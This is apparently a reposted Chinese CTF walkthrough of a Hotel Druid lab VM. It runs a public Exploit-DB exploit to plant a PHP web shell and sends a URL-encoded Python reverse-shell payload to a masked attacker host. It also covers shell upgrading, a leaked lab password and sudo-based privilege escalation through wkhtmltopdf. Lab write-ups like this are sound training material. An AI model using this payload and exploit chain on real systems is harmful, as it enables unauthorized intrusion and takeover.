Hotel Druid反弹shell到权限提升

admin 2023年4月1日13:32:44评论30 views字数 1644阅读5分28秒阅读模式

一、靶机信息

Description

找到user.txt&root.txt文件,并提交flag

链接:https://pan.baidu.com/s/1er6Pfkm9Co7rtW3UBq8H-g 提取码:kkts

二、环境搭建

将下载好的ova文件使用VirtualBox打开

Hotel Druid反弹shell到权限提升

Hotel Druid反弹shell到权限提升

Hotel Druid反弹shell到权限提升

三、解题过程

3.1 信息收集

靶机地址10.10.10.22

Hotel Druid反弹shell到权限提升

使用工具对10.10.10.22进行端口/服务扫描

Hotel Druid反弹shell到权限提升

可以利用的端口为22和80

首先访问80端口

Hotel Druid反弹shell到权限提升

通过查看各个功能点,找到了configure配置功能

Hotel Druid反弹shell到权限提升

点开后发现有数据存储系统的标识,并且标有版本号

Hotel Druid反弹shell到权限提升

3.2 漏洞利用

第一个思路直接从网上寻找有没有历史漏洞或exp

Hotel Druid反弹shell到权限提升

该版本之前爆出过历史漏洞

Hotel Druid反弹shell到权限提升

下载exp

wget https://www.exploit-db.com/download/50754

Hotel Druid反弹shell到权限提升

将文件移动到home下,并执行

Hotel Druid反弹shell到权限提升

输入-t参数的值,--noauth执行该exp脚本

Hotel Druid反弹shell到权限提升

成功上传selectappartamenti.php脚本且cmd参数可执行命令

Hotel Druid反弹shell到权限提升

3.3 反弹shell

利用命令执行参数进行反弹shell操作

vps开启监听

Hotel Druid反弹shell到权限提升

url执行反弹shell命令

http://10.10.10.22/dati/selectappartamenti.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xxx.xxx.xxx.xxx%22,1211));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

Hotel Druid反弹shell到权限提升

此时服务器回显 nc: getnameinfo: Temporary failure in name resolution

Hotel Druid反弹shell到权限提升

通过查阅,将nc -lvp多加一个n,变成nc -lvnp即可解决此问题

Hotel Druid反弹shell到权限提升

shell成功反弹过来

反弹成功后,切换到交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM
=**xterm

Ctrl+z快捷键
stty -a

stty raw -echo;fg

reset

Hotel Druid反弹shell到权限提升

切换完成之后,查找可提权的信息

Hotel Druid反弹shell到权限提升

找到了person普通用户

在/html/hoteldruid/data下的dati_connessione.php文件,找到了mysql的连接账号密码

Hotel Druid反弹shell到权限提升

继续寻找有用信息,在/html下有ttylog文件

Hotel Druid反弹shell到权限提升

ttylog是 ttyrec录制的文件 可以用ttyplay播放

使用命令:ttyplay ttylog

查看ttylog文件

Hotel Druid反弹shell到权限提升

通过使用该命令得到了密码:Endur4nc3.

在之前的信息收集过程中,靶机开放了22端口,且刚刚找到了一个person用户

使用xshell连接22端口

Hotel Druid反弹shell到权限提升

/目录下有user.txt文件,查看后得到flag

3.4 提权

继续查找提权漏洞

sudo -l

Hotel Druid反弹shell到权限提升

/usr/bin/wkhtmltopdf不需要使用root权限即可执行

wkhtmltopdf是一个使用 Qt WebKit 引擎做渲染的,能够把html 文档转换成 pdf 文档 或 图片(image) 的命令行工具

Hotel Druid反弹shell到权限提升

将root.pdf文件下载进行查看

python3 -m http.server

Hotel Druid反弹shell到权限提升

Hotel Druid反弹shell到权限提升

3.5 flag

Hotel Druid反弹shell到权限提升

四、总结

信息收集——22&80端口——查找历史漏洞——反弹shell——提权

作者:sec-in【Elvis】转载自:https://www.sec-in.com/article/2151

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

原文始发于微信公众号(白帽子左一):Hotel Druid反弹shell到权限提升

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月1日13:32:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hotel Druid反弹shell到权限提升http://cn-sec.com/archives/1645661.html

发表评论

匿名网友 填写信息